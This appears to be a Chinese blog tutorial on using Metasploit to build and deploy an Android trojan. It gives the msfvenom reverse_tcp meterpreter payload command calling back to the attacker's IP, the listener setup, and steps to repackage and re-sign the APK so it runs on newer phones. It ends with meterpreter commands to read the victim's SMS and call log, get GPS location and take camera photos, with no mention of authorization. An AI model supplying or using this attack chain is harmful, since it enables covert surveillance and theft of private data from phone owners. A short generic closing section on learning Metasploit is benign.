使用msf工具对安卓手机进行渗透攻击———超详细

前期准备

1.需要安装好kali的虚拟机

2.在Windows电脑上需要配置Java环境变量

具体实现

一.生成安卓木马

打开终端输入 ifconfig 查看本机的IP 

由于kali是运行在虚拟机上的,所以虚拟机上显示的IP并不能直接使用,需要进行端口映射的相关配置,比较麻烦,这里可以查看相关文章进行配置 ,也可以外接一张网卡直接连到kali上,这样就可以直接使用网卡的IP

以root身份运行 msfconsole打开msf

输入以下这段命令,生成安卓的apk攻击文件

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10(输入kali上的ip) LPORT=5555(监听端口,这里使用的是5555端口) R > /home/kali/sdf.apk(生成apk木马的名称和保存路径)

此时会在/home/kali文件下生成.apk文件

 二.配置攻击载荷

输入以下命令

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.1.10    //和之前生成木马的IP一样
set LPORT 5555    //和之前生成木马的端口一样
run

此刻我们就已经配置完成了

如果这时将生成的木马在安卓手机上运行时会报以下错误

 这是由于msf生成的安卓木马过于老旧,无法在新版安卓手机上运行

三.对.apk文件进行反编译

我们可以通过反编译的方法使是安卓手机能够运行我们的木马程序,废话不多说,开干!

用到的反编译工具是apktool, 可以在官方网站上下载,官方网址是:https://ibotpeaches.github.io/Apktool/

此时将我们生成的安卓木马移动的Windows上来,并且和下载好的apktool放在同一文件夹下,这样方便操作,因为apktool是一个.jar文件,需要Windows电脑上配置java的环境变量,具体如何配置,请参考相关文章,这里不在多说

在此文件夹下打开cmd,输入以下命令进行反编译

java -jar apktool_2.7.0.jar(即你的apktool的名称) d -f pdf.apk(你的apk的名称) -o ghj(存放反编译后代码的文件名称,没有会在当前目录自动生成)

 双击打开发编译后生成的文件夹,找到一个以.yml为后缀的文件

双击用记事本打开,找到这两行 

将10改成16,17改成23,保存并退出

接着,要重新打包生成未签名的包 ,输入命令

java -jar apktool_2.7.0.jar b sdf(存放反编译代码的文件名称) -o rtf.apk(打包生成apk的名称)

此时的apk文件由于还没有签名,还不能下载运行,所以要进行签名,这里使用的是java自带的标准库keytool先来生成签名证书,输入命令

keytool -genkeypair -alias sss(签名证书的别名) -keyalg RSA -validity 100 -keystore sss.jks 

最后对apk文件进行签名,输入命令

jarsigner -verbose -keystore sss.jks(签名文件的名称) -signedjar hhh.apk(要生成签名包的名称) rtf.apk(未签名的包名称) sss(签名证书的别名)

将最后生成的这个木马文件发送到手机上并下载安装并运行

四.对手机进行渗透攻击

如果出现以下情况则代表已经成功渗透了安卓手机,可以开始对手机发起攻击了

 1.查看对方手机的短信

dump_sms

2.获取对方手机的GPS定位

geolocate

3.查看对方手机的通讯录

dump_calllog

4.查看对方手机安装了哪些app

app_list

5.远程控制对方手机拍摄一张照片

webcam_snap

6.查看对方手机信息

sysinfo

输入命令help,可以查看帮助文档,获取更多功能

感谢各位大佬指点

  • 42
    点赞
  • 302
    收藏
    觉得还不错? 一键收藏
  • 74
    评论
MSF(Metasploit Framework)是一款强大的开源渗透测试工具,用于测试和评估计算机系统的安全性。学习MSF渗透工具有助于提高对网络安全的理解和技能。以下是一些学习MSF渗透工具的材料和方法: 1. 官方文档:Metasploit官方网站提供了完整的文档,包括用户指南、参考手册和教程。这些文档详细介绍了MSF的各个模块、命令、选项和使用方法。 2. 书籍:有一些书籍专门介绍了MSF的原理、用法和实例。例如《Metasploit: The Penetration Tester's Guide》,该书提供了深入的MSF知识,并帮助读者掌握渗透测试的技巧。 3. 在线教程:互联网上有许多免费的MSF教程和视频教程可供学习。通过这些教程,可以了解MSF的基本操作和常用技巧,并学习如何使用不同的模块和插件。 4. 实践演练:通过自己的实践和演练来学习MSF是非常重要的。可以使用虚拟机环境搭建实验环境,模拟真实的渗透测试场景,并运用MSF进行实际的渗透测试工作。 5. 社区和论坛:Metasploit拥有活跃的社区和论坛,可以与其他渗透测试者交流经验和学习心得。在这些社区中,可以获取到最新的MSF资讯、漏洞信息和实践技巧。 需要注意的是,渗透测试是一项敏感和专业的工作,必须遵守法律和道德准则。在学习和使用MSF工具时,务必要了解和遵守相关的法律法规,避免非法使用和侵犯他人的隐私和安全。
评论 74
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值